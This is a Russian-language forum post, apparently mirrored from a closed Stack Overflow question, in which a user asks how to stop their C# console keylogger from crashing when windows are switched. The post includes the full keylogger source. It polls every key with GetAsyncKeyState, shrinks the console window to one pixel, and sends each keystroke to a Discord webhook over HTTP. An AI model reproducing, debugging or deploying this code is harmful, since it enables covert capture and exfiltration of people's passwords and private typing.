Кейлоггер в командной строке C# [закрыто]C#

Место общения программистов C#
Ответить
Anonymous
 Кейлоггер в командной строке C# [закрыто]

Сообщение Anonymous »

Я пытался создать кейлоггер, но каждый раз, когда кто-то (только я) меняет окна на что-нибудь еще, после этого он просто вылетает и закрывается, и отправляет странные символы, когда кто-то нажимает alt или ctrl
это единственный код, который у меня есть, и я не знаю, как исправить его сбой при переключении окон
using System.Net;
using System.Runtime.InteropServices;
using System.Text;

[DllImport("user32.dll")]
static extern int GetAsyncKeyState(Int32 i);

Console.Title = "TESTING!";

while (true)
{
Console.SetWindowSize(1, 1);
Console.ForegroundColor = ConsoleColor.Green;
Thread.Sleep(100);

for (int i = 0; i < 255; i++)
{
int keystate = GetAsyncKeyState(i);

if (keystate == 1 || keystate == -32767 || keystate == 32769)
{
string key = ((char)i).ToString();
SendMs(key);
Console.Write(key);
break;
}
}
}

static void SendMs(string message)
{
string webhook = "https://discord.com/api/webhooks/132926 ... OxPNQ2CzNs";

WebClient client = new WebClient();
client.Headers.Add("Content-Type", "application/json");
string payload = "{\"content\": \"" + message + "\"}";
client.UploadData(webhook, Encoding.UTF8.GetBytes(payload));
}


Подробнее здесь: https://stackoverflow.com/questions/793 ... mand-promt
Ответить

Быстрый ответ

Изменение регистра текста: 
Смайлики
:) :( :oops: :roll: :wink: :muza: :clever: :sorry: :angel: :read: *x)
Ещё смайлики…
   
К этому ответу прикреплено по крайней мере одно вложение.

Если вы не хотите добавлять вложения, оставьте поля пустыми.

Максимально разрешённый размер вложения: 15 МБ.

Вернуться в «C#»